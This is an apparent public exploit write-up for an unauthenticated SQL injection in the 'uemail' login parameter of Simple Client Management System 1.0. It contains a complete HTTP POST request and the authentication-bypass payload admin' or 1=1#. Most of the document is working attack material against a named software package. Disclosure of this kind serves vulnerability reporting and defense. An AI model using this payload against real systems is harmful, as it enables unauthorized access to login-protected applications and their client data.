# Exploit Title: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated) # Date: 24-06-2021 # Exploit Author: Barış Yıldızoğlu # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/client-details.zip # Version: 1.0 # Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3 Request: POST /client%20details/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 50 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1 /client%20details/index.php Cookie: PHPSESSID=86klv32pm6nvt60qtli6peonod Upgrade-Insecure-Requests: 1 uemail={Payload Here}&password=&login=LOG+IN # Proof of Concept: Payload: admin' or 1=1#